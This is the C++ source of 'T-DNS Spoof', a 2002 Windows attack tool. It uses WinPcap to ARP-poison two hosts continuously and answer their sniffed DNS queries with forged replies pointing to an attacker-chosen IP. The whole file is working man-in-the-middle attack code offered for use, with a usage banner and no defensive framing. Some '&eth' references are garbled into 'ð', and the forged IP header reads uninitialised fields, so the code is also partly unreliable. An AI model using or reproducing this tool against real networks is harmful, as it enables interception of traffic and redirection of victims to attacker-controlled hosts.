📄 t-dns.cpp
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#include "packet32.h"
#include <iphlpapi.h>
#include <stdio.h>
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
typedef struct psd
{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short udpl;
}PSD,*PPSD;
typedef struct udphdr
{
unsigned short souceport;
unsigned short destport;
unsigned short length;
unsigned short checksum;
}UDPHDR,*PUDPHDR;
typedef struct dns
{
unsigned short id;
unsigned short flags;
unsigned short quests;
unsigned short answers;
unsigned short author;
unsigned short addition;
}DNS,*PDNS;
typedef struct query
{
unsigned short type;
unsigned short classes;
}QUERY,*PQUERY;
typedef struct response
{
unsigned short name;
unsigned short type;
unsigned short classes;
unsigned int ttl;
unsigned short length;
unsigned int addr;
}RESPONSE,*PRESPONSE;
#pragma pack(pop)
unsigned short checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(unsigned short);
}
if(size)
cksum+=*buffer;
cksum=(cksum>>16)+(cksum & 0xffff);
cksum+=(cksum>>16);
return (unsigned short)(~cksum);
}
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr myip,firstip,secondip,virtualip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
char adapterlist[MAX_NUM_ADAPTER][1024];
void start()
{
printf("===[ T-DNS Spoof, by TOo2y ]===\n");
printf("===[ E-mail: TOo2y@safechina.net ]===\n");
printf("===[ Homepage: www.safechina.net ]===\n");
printf("===[ Date: 10-15-2002 ]===\n\n");
return;
}
void usage()
{
printf("Usage: T-DNS Firstip Secondip Virtualip\n");
return;
}
DWORD WINAPI sniff(LPVOID no)
{
printf("\nI am sniffing...\n");
char *buf;
char *pchar;
char temp[1024];
char sendbuf[1024];
char recvbuf[1024*250];
struct bpf_hdr *hdr;
unsigned char *dname;
unsigned long ulbytesreceived,off,ulen;
ETHDR ethr,eths;
IPHDR ipr,ips;
PSD psds;
UDPHDR udpr,udps;
DNS dnsr,dnss;
QUERY queryr,querys;
RESPONSE responses;
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode!\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout!\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(1)
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
break;
}
ulbytesreceived=lppacketr->ulBytesReceived;
buf=(char *)lppacketr->Buffer;
off=0;
while(off<ulbytesreceived)
{
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pchar=(char *)(buf+off);
off=Packet_WORDALIGN(off+hdr->bh_caplen);
ethr=*(ETHDR *)pchar;
if(ethr.eh_type==htons(ETH_IP))
{
ipr=*(IPHDR *)(pchar+sizeof(ETHDR));
if(ipr.protocol!=17)
{
continue;
}
if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip))
{
continue;
}
udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR));
if(udpr.destport==htons(53))
{
printf("Get a DNS Packet...\t");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),sizeof(DNS));
dnss.id=dnsr.id;
dnss.flags=htons(0x8180);
dnss.quests=htons(1);
dnss.answers=htons(1);
dnss.author=0;
dnss.addition=0;
ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY);
dname=(unsigned char *)malloc(ulen*sizeof(unsigned char));
memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),ulen);
memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,2);
memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2);
querys.classes=queryr.classes;
querys.type=queryr.type;
responses.name=htons(0xC00C);
responses.type=queryr.type;
responses.classes=queryr.classes;
responses.ttl=0xFFFFFFFF;
responses.length=htons(4);
responses.addr=virtualip;
udps.souceport=udpr.destport;
udps.destport=udpr.souceport;
udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
udps.checksum=0;
psds.saddr=ips.sourceip;
psds.daddr=ips.destip;
psds.mbz=0;
psds.ptcl=IPPROTO_UDP;
psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&psds,sizeof(PSD));
memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
ips.h_lenver=(4<<4|sizeof(IPHDR)/sizeof(unsigned int));
ips.tos=0;
ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
ips.ident=htons(12345);
ips.frag_and_flags=0;
ips.ttl=255;
ips.protocol=IPPROTO_UDP;
ips.checksum=0;
ips.sourceip=ipr.destip;
ips.destip=ipr.sourceip;
memset(temp,0,sizeof(temp));
memcpy(temp,&ips,sizeof(IPHDR));
ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR));
eths.eh_type=ethr.eh_type;
memcpy(ðs.eh_src,ðr.eh_dst,6);
memcpy(ðs.eh_dst,ðr.eh_src,6);
memcpy(sendbuf,ðs,sizeof(ETHDR));
memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UDPHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in DNS Spoof Error: %d\n",GetLastError());
break;
}
printf("Send DNS Spoof Packet Successfully!\n");
}
}
}
}
return 0;
}
DWORD WINAPI arpspoof(LPVOID no)
{
printf("I am arpspoofing...\n\n");
char sendbuf[1024];
struct sockaddr_in fsin,ssin;
ETHDR eth;
ARPHDR arp;
fsin.sin_addr.s_addr=firstip;
ssin.sin_addr.s_addr=secondip;
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=firstip;
arp.arp_spa=secondip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError());
return -1;
}
Sleep(500);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=secondip;
arp.arp_spa=firstip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError());
return -1;
}
Sleep(500);
}while(1);
return 0;
}
BOOL getmac()
{
HRESULT hr;
IPAddr destip;
ULONG pulmac[2];
ULONG ullen;
DWORD err;
DWORD fixedinfosize=0;
DWORD adapterinfosize=0;
PIP_ADAPTER_INFO padapterinfo;
PIP_ADDR_STRING paddrstr;
if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0)
{
if(err!=ERROR_BUFFER_OVERFLOW)
{
printf("GetAdapterInfo size Error: %d\n",GetLastError());
return FALSE;
}
}
if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NULL)
{
printf("Memory allocation Error: %d\n",GetLastError());
return FALSE;
}
if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0)
{
printf("GetAdaptersInfo Error: %d\n",GetLastError());
return FALSE;
}
memcpy(mmac,padapterinfo->Address,6);
paddrstr=&(padapterinfo->IpAddressList);
myip=inet_addr(paddrstr->IpAddress.String);
ullen=6;
memset(pulmac,0xff,sizeof(pulmac));
destip=firstip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP firstip Error: %d\n",GetLastError());
return FALSE;
}
memcpy(fmac,pulmac,6);
memset(pulmac,0xff,sizeof(pulmac));
destip=secondip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP secondip Error: %d\n",GetLastError());
return FALSE;
}
memcpy(smac,pulmac,6);
return TRUE;
}
int main(int argc,char *argv[])
{
HANDLE thread[2];
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadsid,threadrid;
int adapternum=0,open,i;
system("cls.exe");
start();
if(argc!=4)
{
usage();
return -1;
}
firstip=inet_addr(argv[1]);
secondip=inet_addr(argv[2]);
virtualip=inet_addr(argv[3]);
if(getmac()==FALSE)
{
return -1;
}
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!='\0') || (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("Adapters Installed: \n");
for(i=0;i<adapternum;i++)
{
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
}
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error: %d\n",GetLastError());
return -1;
}
thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
if(thread[0]==NULL)
{
printf("CreateThread for sniffer Error: %d\n",GetLastError());
return -1;
}
thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
if(thread[1]==NULL)
{
printf("CreateThread for arpspoof Error: %d\n",GetLastError());
return -1;
}
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
CloseHandle(thread[0]);
CloseHandle(thread[1]);
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}
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